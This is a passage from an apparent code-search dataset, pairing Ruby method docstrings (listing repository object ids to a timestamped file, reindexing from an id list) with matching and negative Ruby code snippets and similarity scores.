"def theme_keynote\n # Colors\n# @blue = '#6886B4'\n# @yellow = '#FDD84E'\n# @green = '#72AE6E'\n# @red = '#D1695E'\n# @purple = '#8A6EAF'\n# @orange = '#EFAA43'\n# @blue_1 = '#86B468'\n# @yellow_1 = '#D84EFD'\n# @green_1 = '#AE6E72'\n# @red_1 = '#695ED1'\n# @purple_1 = '#6EAF8A'\n# @orange_1 = '#AA43EF'\n# @blue_2 = '#B46886'\n# @yellow_2 = '#4EFDD8'\n# @green_2 = '#6E72AE'\n# @red_2 = '#5ED169'\n# @purple_2 = '#AF8A6E'\n# @orange_2 = '#43EFAA'\n# @white = 'white'\n\n unless @@colors\n c_lo = (0..7).to_a\n c_hi = ('B'..'F').to_a\n @@colors = (0..4).collect do |i|\n (1..7).collect {|j|\n '#' + [1,2,4].collect {|k|\n c = (j & k != 0) ? c_hi : c_lo\n\n \"#{c[rand(c.length)]}0\"\n }.join\n }\n end.flatten\n end\n @colors = @@colors\n# @colors = [ @blue, @yellow, @green, @red, @purple, @orange,\n# @blue_1, @yellow_1, @green_1, @red_1, @purple_1, @orange_1,\n# @blue_2, @yellow_2, @green_2, @red_2, @purple_2, @orange_2 ]\n\n self.theme = {\n :colors => @colors,\n :background_colors => ['white', 'white']\n }\n end",
"def green\n\t\tlight COLOR_KEY_GREEN\n\tend",
"def color_from_keyword(word)\n key = (word+\"ZZZ\").sub(/[aeiou]/,'')[0,3].upcase.sub(/\\W/,'')\n rgb = key.each_byte.to_a.map{ |i| (i-65)*10 }\n Color::RGB.new(*rgb)\n end",
"def back_color2\n Color.new(0, 0, 0, 0)\n end",
"def back_color2\n Color.new(0, 0, 0, 0)\n end",
"def red(output)\n color(31, output)\n end",
"def small_font\n [-2, 0, 0, 0, 0, 255]\n end",
"def sc1\n c = gauge_back_color\n c.alpha = 75\n c\n end",
"def get_hotel_color(hotel)\n HOTEL_COLORS[hotel]\n end",
"def list_colors\n color_string = \"\\nThe available colors are \"\n COLORS.each_with_index do |color, index|\n if index%2 == 0\n color_string += \"\\n\"\n end\n color_string += color + \" \"\n end\n puts color_string\n end",
"def luminosity\n Integer(0.2126*@red + 0.7152*@green + 0.0722*@blue)\n end",
"def dark; end",
"def dark; end",
"def display_rainbow(colors)\n output_string = \"\"\n for i in 0..(colors.length - 1)\n output_string += \"#{colors[i][0].upcase}: #{colors[i]}, \"\n end\n output_string = output_string[0..-3]\n puts output_string\nend",
"def red(text)\n colorize(text, 31)\nend",
"def system_color\n return Color.new(255,255,0)\n end",
"def code\n index = 16 +\n RGB.to_ansi_domain(@red) * 36 +\n RGB.to_ansi_domain(@green) * 6 +\n RGB.to_ansi_domain(@blue)\n\n \"#{@ground_code};5;#{index}\"\n end",
"def color\n @color\n end"
] |
[
"0.66335374",
"0.63265437",
"0.6301206",
"0.62950873",
"0.62937826",
"0.627273",
"0.6229168",
"0.61431277",
"0.60787934",
"0.6074219",
"0.60729116",
"0.60721254",
"0.60055196",
"0.5992629",
"0.597288",
"0.5917997",
"0.5904019",
"0.5904019",
"0.5904019",
"0.5863588",
"0.5851315",
"0.58486193",
"0.5846291",
"0.5844819",
"0.58272815",
"0.5825771",
"0.58132917",
"0.58089083",
"0.5807485",
"0.57934856",
"0.5762282",
"0.5747135",
"0.57372344",
"0.5733943",
"0.5687881",
"0.5668365",
"0.56676894",
"0.5644445",
"0.56212187",
"0.56212187",
"0.5606071",
"0.5602685",
"0.55989045",
"0.55939573",
"0.5593583",
"0.5587932",
"0.55840725",
"0.5571017",
"0.5570861",
"0.5554944",
"0.554586",
"0.5542546",
"0.5539598",
"0.55328465",
"0.55317795",
"0.5526903",
"0.5520055",
"0.5511893",
"0.5505581",
"0.5499369",
"0.54975396",
"0.54974496",
"0.5463771",
"0.54399127",
"0.5436984",
"0.5432834",
"0.54323924",
"0.54323924",
"0.5418101",
"0.5418101",
"0.5414954",
"0.5408142",
"0.54081386",
"0.540579",
"0.5399426",
"0.5398728",
"0.5397476",
"0.5394641",
"0.53934884",
"0.5389342",
"0.53859437",
"0.53839546",
"0.5380572",
"0.537859",
"0.5377142",
"0.53697026",
"0.53695303",
"0.53695303",
"0.5356802",
"0.5353736",
"0.53467065",
"0.5344314",
"0.533989",
"0.53335327",
"0.53321946",
"0.53321946",
"0.5330087",
"0.5328915",
"0.53229666",
"0.53226215",
"0.53151464"
] |
0.0
|
-1
|
List all object ids in the repository, ordered by object type. Returns the path to the file containing the list of ids. Its name contains the timestamp when the command was issued.
|
def list_object_ids(output_path, after_timestamp = nil)
# Capture time in UTC, as snapshot of starting point for ids
# (back dated a minute to ensure no changes get lost between now and when the query executes)
start_time = (Time.now - 60).utc.iso8601.gsub!(/:/, '_')
# Start list file for IDs, in file named with starting point timestamp
filename = "id_list_#{start_time}.txt"
file_path = File.join(output_path, filename)
File.open(file_path, 'w') do |file|
BASE_QUERIES.each do |base_query|
record_paged_type_query(file, base_query, after_timestamp)
end
end
file_path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def object_ids\n #FIXME\n base = @datapath\n Dir.glob(\"#{base}/[0-9][0-9]/[0-9][0-9]/[0-9][0-9]/[0-9][0-9]\").map do |dir|\n dir[base.length..-1].delete('/').to_i\n end\n end",
"def idlist(objects)\n safe_join(objects.collect {|o| o.id}, ',')\n end",
"def object_path(id)\n \"#{git_path}/objects/#{ id[0...2] }/#{ id[2..39] }\"\n end",
"def path_ids\n @objects.map{|e| e.path_id}\n end",
"def object_path(id)\n \"#{path}/objects/#{id[0...2]}/#{id[2..39]}\"\n end",
"def list_ids\n @documents.keys\n end",
"def list\n FileOperations.find_all(self)\n end",
"def cmd_ids\n print_tree(Editor, 0, true)\n end",
"def id; dir end",
"def list\n Lib.list @path, @no_follow\n end",
"def idl_files\n @idl_files\n end",
"def object_taxon_name_ids\n return taxon_name_id if !taxon_name_id.empty?\n return object_taxon_name_id if !object_taxon_name_id.empty?\n return []\n end",
"def object_identifier\n [\"#{self.class.name}\", (id.nil? ? nil : \"##{id}\"), \":0x#{self.object_id.to_s(16)}\"].join\n end",
"def identifiers\n return [] if __getobj__.blank?\n\n __getobj__.identifier if __getobj__.respond_to?(:identifier)\n end",
"def ids\n storage.keys\n end",
"def asset_ids(id)\n monograph = Hyrax::PresenterFactory.build_for(ids: [id], presenter_class: Hyrax::MonographPresenter, presenter_args: nil).first\n return if monograph.blank?\n\n docs = monograph.ordered_member_docs\n return if docs.blank?\n\n ids = []\n docs.each do |doc|\n fp = Hyrax::FileSetPresenter.new(doc, nil)\n next if fp.featured_representative?\n next if fp.id == monograph.representative_id\n next if Sighrax.tombstone?(Sighrax.from_presenter(fp))\n ids << fp.id\n end\n\n ids.join(\",\")\n end",
"def format_object_name_list(objects); end",
"def generate\n parts = objs.map { |obj| identifier_name_for obj }\n compose_identifier_parts parts\n end",
"def index\n @ids = Id.all\n end",
"def filedocer\n suid = file_id\n Cofile.find(:all, :select => \"name\", :conditions => {:id => suid}).map(&:name)\nend",
"def owner_id_list(resource)\n id_list(resource, owner_request_ids)\n end",
"def record_ids(opts = {})\n opts = opts.merge(@opts)\n client.list_identifiers(opts).full.lazy.flat_map(&:identifier)\n end",
"def ids\n @ids ||= []\n end",
"def oids\n\t\treturn @storage.keys\n\tend",
"def objname\n id\n end",
"def listObjects _obj, _args\n \"_obj listObjects _args;\" \n end",
"def file_ids(id)\n criteria = {:type_ids => [Runcible::Extensions::File.content_type],\n :fields => {:unit => [], :association => ['unit_id']}}\n\n unit_search(id, criteria).map { |i| i['unit_id'] }\n end",
"def file_names\n file_names = []\n @bucket.objects.each do |obj|\n file_names << obj.key\n end\n file_names\n end",
"def list_objects\n list_names.each_with_object([]) do |name, objects|\n begin\n objects << restore(name)\n rescue\n end\n end\n end",
"def member_object_ids\n return [] unless id\n member_objects.map(&:id)\n end",
"def object_files\n source_files.map { |file| object_path( file ) }\n end",
"def owner_id_list(resource)\n case resource\n when \"requests\"\n owner_request_ids\n when \"stages\"\n owner_stage_ids(owner_request_ids)\n when \"actions\"\n Action.where(:stage_id => owner_stage_ids(owner_request_ids)).pluck(:id).sort\n else\n raise ArgumentError, \"Unknown resource type: #{resource}\"\n end\n end",
"def list\n @repos\n end",
"def archive_file_ids\n archive = File.open('drive_file_ids.json', 'w')\n File.write('drive_file_ids.json', @file_ids.to_json)\n archive.close\n end",
"def index\n @commit_filepaths = CommitFilepath.all\n end",
"def owner_id_list(resource)\n case resource\n when \"requests\"\n owner_request_ids\n when \"actions\"\n Action.where(:request_id => owner_request_ids).pluck(:id).sort\n else\n raise ArgumentError, \"Unknown resource type: #{resource}\"\n end\n end",
"def index\n @oid_models = OidModel.all\n end",
"def object_files\n @object_files = get_files(params[:id]) if controller_name == 'catalog' || controller_name == 'image_viewer'\n end",
"def download_all_objects(objects, type)\n subdir = type + 's'\n puts \"Found #{objects.count} #{type}s, downloading...\"\n\n count = skip_count = 0\n objects.each do |info|\n id = info['id']\n if File.exist?(Utils.filepath(id, subdir: subdir))\n skip_count += 1\n next\n end\n\n send(\"save_#{type}_to_file\", id, name: id.to_s, output: false)\n count += 1\n printf(\"\\rDownloaded %d #{type}s, skipped %d, current id = %d\", count, skip_count, id)\n end\n puts ''\n puts \"Saved #{count} #{type}s to data/#{subdir} subdirectory\"\n end",
"def ids(things)\n things.map(&:id).join(\",\")\n end",
"def get_file_listing\n execute!(drive.files.list).data\n end",
"def index\n @digital_object_identifiers = DigitalObjectIdentifier.all\n end",
"def get_ids (model_objects)\n ids = []\n if !model_objects.nil?\n \n for model_object in model_objects\n ids.push(model_object.id)\n end\n end\n return ids\n\n end",
"def ids\n @ids ||= term.list_ids.sort\n end",
"def keys\n head.commit.tree.contents.map{|blob| deserialize(blob.name) }\n end",
"def keys\n head.commit.tree.contents.map{|blob| deserialize(blob.name) }\n end",
"def ids\n pluck(:id)\n end",
"def all\n Directory.all.map do |node_id|\n find node_id\n end\n end",
"def list(options = {})\n get_path(\n path_to_list,\n options,\n get_parser(:collection, Tinybucket::Model::Commit)\n )\n end",
"def list_files\n @synth_files = CreatedFile.find_all_by_content_type(\"synthesis\",\n :include => :researcher, \n :order => \"created_at DESC, created_file DESC\")\n end",
"def cmd_list(param)\n send_unauthorised and return unless logged_in?\n send_response \"150 Opening ASCII mode data connection for file list\"\n\n param = '' if param.to_s == '-a'\n\n dir = File.join(@name_prefix.to_s, param.to_s)\n\n now = Time.now\n\n items = list_dir(build_path(param))\n lines = items.map do |item|\n \"#{item.directory ? 'd' : '-'}#{item.permissions || 'rwxrwxrwx'} 1 #{item.owner || 'owner'} #{item.group || 'group'} #{item.size || 0} #{(item.time || now).strftime(\"%b %d %H:%M\")} #{item.name}\"\n end\n send_outofband_data(lines)\n # send_action_not_taken\n end",
"def id\n object.id.to_s\n end",
"def list\n call(:get, path)\n end",
"def all_files_with_access\n return [] unless id.present?\n member_file_set_title_ids.sort { |x,y| x[0].upcase <=> y[0].upcase }\n end",
"def ordered_file_set_ids\n results = ActiveFedora::SolrService.query(\n \"{!field f=has_model_ssim}FileSet\",\n fl: \"id\",\n fq: \"{!join from=ordered_targets_ssim to=id}id:\\\"#{id}/list_source\\\"\")\n results.flat_map { |x| x.fetch(\"id\", []) }\n end",
"def execute(oids)\n return [] unless project&.lfs_enabled?\n\n # Search and link existing LFS Object\n link_existing_lfs_objects(oids)\n end",
"def ids\n @store.transaction do\n @store.roots\n end\n end",
"def list(**options)\n raise ParameterMissing, 'required parameter :ids is missing' unless options[:ids]\n\n get_collection_by_ids(options.delete(:ids), options)\n end",
"def ids\n (1..get_item_count).map do |index|\n get_item_identifier index\n end\n end",
"def get_object_contents_ids params\n sequel_db = get_db params[:database]\n sequel_db.transaction do\n sequel_db[:objects].where(:location_object_id => params[:persistence_id]).select_map(:id)\n end\n end",
"def download_list\n task = params[:task]\n files = []\n\n case task\n when DOWNLOAD_ACTION, OPEN_ACTION, COPY_ACTION, COPY_TO_PRIVATE_ACTION\n nodes = Node.accessible_by(@context).where(id: params[:ids])\n nodes.each { |node| files += node.is_a?(Folder) ? node.all_files : [node] }\n when PUBLISH_ACTION\n nodes = Node.editable_by(@context).\n where(id: params[:ids]).\n where.not(scope: UserFile::SCOPE_PUBLIC)\n nodes.each do |node|\n files += if node.is_a?(Folder)\n node.all_files(Node.where.not(scope: UserFile::SCOPE_PUBLIC))\n else\n [node]\n end\n end\n when DELETE_ACTION\n nodes = Node.editable_by(@context).where(id: params[:ids]).to_a\n files += nodes\n nodes.each { |node| files += node.all_children if node.is_a?(Folder) }\n files.filter! { |file| file.scope == params[:scope] }\n else\n raise ApiError, \"Parameter 'task' is not defined!\"\n end\n\n render json: files,\n each_serializer: FileActionsSerializer,\n scope_name: params[:scope] || SCOPE_PRIVATE,\n action_name: task\n end",
"def generate_listing(path)\n client\n listing = client.list_objects(bucket: config[:bucket], delimiter: '/', prefix: full_path(path))\n add_directories(listing)\n add_files(listing, path)\n end",
"def files\n return unless git_repo?\n output = Licensed::Shell.execute(\"git\", \"ls-files\", \"--full-name\", \"--recurse-submodules\")\n output.lines.map(&:strip)\n end",
"def file_listing(commit)\n # The only reason this doesn't work 100% of the time is because grit doesn't :/\n # if i find a fix, it'll go upstream :D\n count = 0\n out = commit.diffs.map do |diff|\n count = count + 1\n if diff.deleted_file\n %(<li class='file_rm'><a href='#file_#{count}'>#{diff.a_path}</a></li>)\n else\n cla = diff.new_file ? \"add\" : \"diff\"\n %(<li class='file_#{cla}'><a href='#file_#{count}'>#{diff.a_path}</a></li>)\n end\n end\n \"<ul id='files'>#{out.join}</ul>\"\n end",
"def list_files(env, res, tag, path)\n files = []\n git(\"ls-tree\", \"-z\", \"#{tag}:#{path}\") do |io|\n io.each_line(\"\\0\") do |line|\n line.chomp!(\"\\0\")\n #STDERR.puts line\n info, file = line.split(/\\t/, 2)\n mode, type, object = info.split(/ /)\n files << {\n :mode => mode,\n :type => type,\n :object => object,\n :file => file,\n }\n end\n end\n files = files.sort_by{|h| h[:file] }\n E_list_files.result(binding)\n end",
"def open_lists\n List.open(id)\n end",
"def patch_ids(path, revisions, limit, skip)\n git_patch_ids = ''\n git_cmd(%w{patch-id}) do |i_patch_id, o_patch_id|\n i_patch_id.binmode\n\n cmd_args = %w{log -p --no-color --date-order --format=%H}\n cmd_args << '--all' if revisions.empty?\n cmd_args << \"--encoding=#{path_encoding}\"\n cmd_args << \"--skip=#{skip}\" << \"--max-count=#{limit}\"\n cmd_args << '--stdin'\n\n if path && !path.empty?\n cmd_args << '--' << scm_iconv(path_encoding, 'UTF-8', path)\n end\n\n git_cmd(cmd_args) do |i_log, o_log|\n i_log.binmode\n i_log.puts(revisions.join(\"\\n\"))\n i_log.close\n IO.copy_stream(o_log, i_patch_id)\n end\n\n i_patch_id.close\n git_patch_ids = o_patch_id.read.force_encoding(path_encoding)\n end\n git_patch_ids\n end",
"def list_files\n files = remote_directory.files.map { |file| file.key }\n\n # The first item in the array is only the path an can be discarded.\n files = files.slice(1, files.length - 1) || []\n\n files\n .map { |file| Pathname.new(file).basename.to_s }\n .sort\n .reverse\n end",
"def objectList(objects)\n log_debug(\"objectList\") {objects.inspect}\n return if objects.empty?\n\n log_depth do\n objects.each_with_index do |obj, i|\n if i > 0 && (formula?(obj, :object) || blankNodePropertyList?(obj, :object))\n @output.write \", \"\n elsif i > 0\n @output.write \",\\n#{indent(4)}\"\n end\n path(obj, :object)\n end\n end\n end",
"def files\n return unless session\n session.files.find_all_by_parent_folder_id(id)\n end",
"def index\n @identifiers = Identifier.all\n end",
"def index\n @identifiers = Identifier.all\n end",
"def parse_command_id_list\n ids = detail('default:noun', {this: self}) || []\n ids << detail('default:name')\n ids.compact.uniq\n end",
"def list\n items = storage.items\n if items.empty?\n puts 'No items in the list.'\n return\n end\n\n storage.items.each do |(id, data)|\n puts \"#{id} #{data[:stamp]} #{data[:source].ljust(48)}\"\n end\n end",
"def list(options = {})\n get_path(\n path_to_list,\n options,\n Tinybucket::Parser::CommitsParser\n )\n end",
"def file_name_list\n @target.source_build_phase.file_display_names\n end",
"def ids; @docs.keys end",
"def list_ids(mixins = nil)\n id_list = []\n\n Backends::Ec2::Helpers::AwsConnectHelper.rescue_aws_service(@logger) do\n instance_statuses = @ec2_client.describe_instance_status(include_all_instances: true).instance_statuses\n instance_statuses.each { |istatus| id_list << istatus[:instance_id] } if instance_statuses\n end\n\n id_list\n end",
"def list_files(logged_in_user, order)\n files = []\n if logged_in_user.can_read(self.id)\n files = self.myfiles.find(:all, :order => order)\n end\n\n # return the files:\n return files\n end",
"def files(id)\n criteria = {:type_ids => [Runcible::Extensions::File.content_type]}\n unit_search(id, criteria).map { |i| i['metadata'].with_indifferent_access }\n end",
"def list_ids params={}\n @nimble.get \"contacts/ids\", params\n end",
"def deleted_record_ids(objs)\n [objs.last.id + 1]\n end",
"def files\n @file_ids.collect { |idx| BFile.store[idx] }\n end",
"def list\n @redis.hgetall(STORE_KEY).sort.map do |name, command|\n AliasedCommand.new(name, command)\n end\n end",
"def return_ids(id)\n array = Array.new\n array.push(id)\n subprojects = subProjects(id)\n subprojects.each do |project|\n array.push(return_ids(project.id))\n end\n\n return array.inspect.gsub(\"[\",\"\").gsub(\"]\",\"\").gsub(\"\\\\\",\"\").gsub(\"\\\"\",\"\")\n end",
"def list_files\n User.sync_files!(@context)\n files = user_real_files(params, @context)\n\n if unsafe_params[:limit] && unsafe_params[:offset]\n files = files.limit(unsafe_params[:limit]).offset(unsafe_params[:offset])\n end\n\n search_string = params[:search_string].presence || \"\"\n\n result = files.eager_load(:license, user: :org).\n where(\"nodes.name LIKE ?\", \"%#{search_string}%\").\n order(id: :desc).map do |file|\n describe_for_api(file, unsafe_params[:describe])\n end.compact\n\n render json: unsafe_params[:offset]&.zero? ? { objects: result, count: result.length } : result\n end",
"def asset_ids(id)\n score = Hyrax::PresenterFactory.build_for(ids: [id], presenter_class: Hyrax::ScorePresenter, presenter_args: nil).first\n return if score.blank?\n\n docs = score.ordered_member_docs\n return if docs.blank?\n\n ids = []\n docs.each do |doc|\n fp = Hyrax::FileSetPresenter.new(doc, nil)\n next if fp.featured_representative?\n next if fp.id == score.representative_id\n next if Sighrax.from_presenter(fp).tombstone?\n ids << fp.id\n end\n\n ids.join(\",\")\n end",
"def to_list(options = {})\n options = {\n name: @id,\n output_directory: Dir.pwd,\n expand: true,\n force: false\n }.update_common(options)\n list = \"#{options[:output_directory]}/#{options[:name]}.list\"\n list = convert_to_pathname(list)\n if empty?\n empty_msg\n return\n end\n if list.file?\n if options[:force] == true\n puts \"Pattern list file #{list} already exists, deleting it...\"\n list.delete\n else\n fail \"Pattern list file #{list} already exists, exiting...\"\n end\n end\n File.open(list, 'w') do |patlist|\n @jobs.each do |job|\n if options[:expand] == true\n pinmap = job.pinmap_workbook\n dot_pat_name = \"#{job.output_directory}/#{job.pattern.basename.to_s.split('.').first}.PAT\"\n dot_atp_name = job.pattern\n else\n pinmap = job.pinmap_workbook.basename\n dot_pat_name = \"#{job.pattern.basename.to_s.split('.').first}.PAT\"\n dot_atp_name = job.pattern.basename\n end\n patlist.print(\"#{dot_atp_name} -pinmap_workbook:#{pinmap} -output:#{dot_pat_name}\")\n job.compiler_options.each_key { |k| patlist.print(\" -#{k}\") }\n job.compiler_options_with_args.each_pair { |k, v| patlist.print(\" -#{k}:#{v}\") }\n patlist.puts('')\n end\n end\n end",
"def operation_list(job_id, interaction_id, path, show_all)\n interactive_front(job_id, interaction_id).list(path, show_all)\n end",
"def list\n BakFile.where('saved = ?', true).each do |file|\n Log.instance.info(\"#{file.fid},#{file.dkey},#{file.length},#{file.classname}\")\n break if SignalHandler.instance.should_quit\n end\n end",
"def identifiers(filter = Set.new)\n list(filter).entities.map { |ent| ent['occi.core.id'] }\n end",
"def do_list\n now_playing = find_id_now_playing(current_status)\n output = []\n current_playlist.each do |elt|\n marker = (elt['id'].to_s == now_playing ? '*' : ' ')\n output.push format(\"%s %03d - %s\\n\", marker, elt['id'], cleanup_pathname(elt['uri']))\n end\n return output.join\n end",
"def list_assets\n @list = []\n\n raise DRI::Exceptions::BadRequest unless params[:objects].present?\n\n solr_query = ActiveFedora::SolrQueryBuilder.construct_query_for_ids(\n params[:objects].map { |o| o.values.first }\n )\n result_docs = Solr::Query.new(solr_query)\n result_docs.each do |doc|\n item = list_files_with_surrogates(doc)\n @list << item unless item.empty?\n end\n\n raise DRI::Exceptions::NotFound if @list.empty?\n\n respond_to do |format|\n format.json\n end\n end",
"def list(path)\n output { get(path) }\n end",
"def list(\n filter,\n *args,\n deadline: nil\n )\n return @remote_identities.list(\n filter,\n *args,\n deadline: deadline,\n )\n end",
"def all_files\n @all_files ||= `git ls-files 2> /dev/null`.split(\"\\n\")\n end",
"def dir\n \"#{@output_prefix}#{Time.new.strftime \"%Y-%m-%d-%H:%M:%S\"}__#{@handle}:#{@id.to_s.rjust(3, '0')}\"\n end",
"def list(count=10)\n @database.documents['rows'].map {|doc| doc['id'] }\n end",
"def filepaths\n object.object_files.map(&:relative_path)\n end",
"def all_objects(opts = {})\n objects(\"*\", opts)\n end"
] |
[
"0.64262617",
"0.60375994",
"0.6020777",
"0.59887123",
"0.5718663",
"0.5707122",
"0.56917477",
"0.5633536",
"0.5397954",
"0.5377332",
"0.5371289",
"0.5336751",
"0.53203577",
"0.5303246",
"0.5298228",
"0.5289205",
"0.5271126",
"0.52368826",
"0.52155846",
"0.52124774",
"0.52056867",
"0.5200412",
"0.52003723",
"0.5198585",
"0.51876587",
"0.51874185",
"0.516637",
"0.515078",
"0.51345944",
"0.512705",
"0.51247394",
"0.51245725",
"0.5109557",
"0.50952184",
"0.5093772",
"0.5085459",
"0.5084691",
"0.5060488",
"0.505667",
"0.50557053",
"0.5050664",
"0.5044663",
"0.5042598",
"0.5008893",
"0.49982792",
"0.49982792",
"0.49913865",
"0.49844822",
"0.4970777",
"0.49668133",
"0.49667746",
"0.49643472",
"0.49562818",
"0.49499756",
"0.49455473",
"0.4941525",
"0.49287447",
"0.49145564",
"0.4911075",
"0.49096107",
"0.49055406",
"0.49052745",
"0.4903055",
"0.49019662",
"0.48950016",
"0.48948747",
"0.48754388",
"0.48687",
"0.4866898",
"0.4864213",
"0.48619148",
"0.48619148",
"0.4856184",
"0.4850379",
"0.48490465",
"0.48322728",
"0.4823268",
"0.48132595",
"0.48081723",
"0.4802872",
"0.47995797",
"0.47991273",
"0.47918212",
"0.47825024",
"0.47794074",
"0.47761488",
"0.47713834",
"0.47679478",
"0.47664818",
"0.4763828",
"0.47636914",
"0.47625917",
"0.4762165",
"0.4758231",
"0.4751165",
"0.47486964",
"0.4747719",
"0.47463027",
"0.47460762",
"0.47450638"
] |
0.6902054
|
0
|
Trigger indexing of all objects listed in the provided file
|
def reindex(id_list_file, clean_index)
reindex_list(id_list_file, clean_index)
rescue ArgumentError => e
raise e
rescue StandardError => e
Rails.logger.error 'Execution interrupted by unexpected error'
Rails.logger.error [e.class.to_s, e.message, *e.backtrace].join($RS)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index(file_rec)\n @index_driver.index(file_rec)\n end",
"def open_index_file\n end",
"def index_item_set(all_items, o={})\n puts \"Indexing #{all_items.size} items...\" ; cur_docs = 0\n #Searcher.load_features() if !$clf\n all_items.in_groups_of(FileCollector::FILES_IN_BATCH) do |batch|\n items = batch.find_all{|d|d}\n\n #read contents\n if o[:download]\n $idx.read_files(items.find_all{|d|d.itype =~ /file/ && !d.content})\n items.each{|d| $idx.read_webpage(d) if d.itype =~ /webpage|concept/ && d.uri =~ /^http/}\n end\n #run indexing\n items.each{|d|$idx.index_item(d)}\n cur_docs += batch.size\n puts \"#{cur_docs} / #{all_items.size} finished\"\n end\n end",
"def update_index\n all.each do |n|\n n.update_index\n end\n end",
"def index\n # Block if this file is currently being indexed by another thread/process\n if indexing?\n while indexing?\n sleep 1\n end\n else\n self.indexing = true\n \n begin\n # Filter unparseable entries\n # TODO: Find a more efficient way to filter unparseable entries without\n # having to copy the entire file line by line\n filtered = 0\n File.open(@filtered_file, 'w') do |f|\n File.foreach(@data_file) do |line|\n begin\n parse(line)\n f.write line\n rescue\n filtered += 0\n end\n end\n end\n puts \"Filtered #{filtered} unparseable entries\" if filtered > 0 and ENV['DEBUG']\n \n # File must be sorted\n File.sort(@filtered_file, @sorted_file, \"-k#{@chr_col},#{@chr_col} -k#{@start_col},#{@start_col}n\")\n \n # and BGZipped\n BGZip.compress(@sorted_file, @bgzipped_file)\n \n # Now Tabix can index it\n Tabix.index(@bgzipped_file, @chr_col, @start_col, @end_col)\n rescue\n raise EntryFileError, \"Error indexing file #{File.basename(@data_file)} for lookup!\"\n ensure\n # Delete the temporary filtered and sorted files since they are unneeded\n File.delete(@filtered_file) if File.exist?(@filtered_file)\n File.delete(@sorted_file) if File.exist?(@sorted_file)\n self.indexing = false\n end\n end\n end",
"def update_in_index\n __elasticsearch__.index_document\n\n index_dependent_models.map(&:update_in_index)\n end",
"def index!(*objects)\n index(*objects)\n end",
"def initialize(file)\n Phobius.default_index(file, self)\n end",
"def update_index\n index_files = []\n index_files << upload(\"specs.4.8.gz\", specs_index)\n log \"Uploaded all specs index\"\n index_files << upload(\"latest_specs.4.8.gz\", latest_index)\n log \"Uploaded latest specs index\"\n index_files << upload(\"prerelease_specs.4.8.gz\", prerelease_index)\n log \"Uploaded prerelease specs index\"\n\n index_files.each do |file|\n tuf_repo.replace_file(file, 'targets/unclaimed', 'targets')\n end\n\n # For now assume all files are unclaimed\n pending_files = tuf_pending_store.pending\n pending_files.each do |file|\n puts \"Adding file: #{file.path}\"\n tuf_repo.add_file(file, 'targets/unclaimed', 'targets')\n end\n tuf_repo.publish!\n tuf_pending_store.clear(pending_files)\n end",
"def initialize (filename)\n @indexname = filename + \".index\" \n @data_f = File.open(filename)\n load_index \n end",
"def open_index_file\n @index = File.open(@index_path, 'rb')\n end",
"def index_all\n puts \"Indexing everything\"\n MojoDNA::Searchable::RemoteSearchable::searcher.push( [:index_all, self.inspect.to_s, nil] )\n end",
"def index(data_path, db_path)\n db = Xapian::WritableDatabase.new(db_path, Xapian::DB_CREATE_OR_OPEN)\n term_generator = Xapian::TermGenerator.new\n term_generator.stemmer = Xapian::Stem.new('en')\n parse_csv_file(data_path).each do |row|\n doc = Xapian::Document.new\n term_generator.document = doc\n term_generator.index_text(row['TITLE'].to_s, 1, 'S')\n term_generator.index_text(row['DESCRIPTION'].to_s, 1, 'XD')\n term_generator.index_text(row['TITLE'].to_s)\n term_generator.increase_termpos\n term_generator.index_text(row['DESCRIPTION'].to_s)\n\n ### Start of new indexing code.\n # Index the MATERIALS field, splitting on semicolons.\n row['MATERIALS'].to_s.split(';').each do |material|\n material.strip!\n material.downcase!\n doc.add_boolean_term(\"XM#{material}\") if material.length.positive?\n end\n ### End of new indexing code.\n\n doc.data = row.to_h.to_json\n idterm = \"Q#{row['id_NUMBER']}\"\n doc.add_boolean_term(idterm)\n db.replace_document(idterm, doc)\n end\nend",
"def index(*objects)\n objects.flatten.each do |object|\n client.index(object)\n end\n end",
"def reindex(*entries)\n list = Upload.get_relation(*entries).to_a\n result = ingest_api.put_records(*list)\n result.exec_report.error_messages.each { |e| $stderr.puts e }.blank?\n end",
"def transform index_file\n InputBatch.log.info \"Opened txt file for processing\"\n puts \"Opened txt file for processing\"\n InputBatch.log.info \">>Index Transformation Starts \" + Time.now.to_s\n puts \">>Index Transformation Starts \" + Time.now.to_s\n @jobs = []\n @txt_lines = File.readlines(index_file)\n txt_lines.each do |row|\n @row = row.chomp\n save_records\n end\n\n puts \">>Index Transformation Ends \" + Time.now.to_s\n InputBatch.log.info \">>Index Transformation Ends \" + Time.now.to_s\n end",
"def indexAllItems\n begin\n Thread.current[:name] = \"index thread\" # label all stdout from this thread\n batch = emptyBatch({})\n\n # The resolver and catalog stuff below is to prevent BioMed files from loading external DTDs\n # (which is not only slow but also unreliable)\n classPath = \"/apps/eschol/erep/xtf/WEB-INF/lib/saxonb-8.9.jar:\" +\n \"/apps/eschol/erep/xtf/control/xsl/jing.jar:\" +\n \"/apps/eschol/erep/xtf/normalization/resolver.jar\"\n Nailgun.run(classPath, 0, \"-Dxml.catalog.files=/apps/eschol/erep/xtf/normalization/catalog.xml\") { |nailgun|\n loop do\n # Grab an item from the input queue\n Thread.current[:name] = \"index thread\" # label all stdout from this thread\n itemID = $indexQueue.pop\n itemID or break\n\n # Extract data and index it (in batches)\n begin\n Thread.current[:name] = \"index thread: #{itemID}\" # label all stdout from this thread\n indexItem(itemID, batch, nailgun)\n rescue Exception => e\n puts \"Error indexing item #{itemID}\"\n raise\n end\n\n # To avoid Saxon's Java process from growing gigantic, restart it once in a while.\n nailgun.callCount == 1000 and nailgun.restart\n end\n }\n\n # Finish off the last batch.\n batch[:items].empty? or $batchQueue << batch\n rescue Exception => e\n if $preindexMode\n raise e\n else\n puts \"Exception in indexAllItems: #{e} #{e.backtrace}\"\n end\n ensure\n $batchQueue << nil # marker for end-of-queue\n end\nend",
"def load_index\n construct_index unless index_valid?\n open_index_file\n end",
"def index!(*objects)\n session.index!(*objects)\n end",
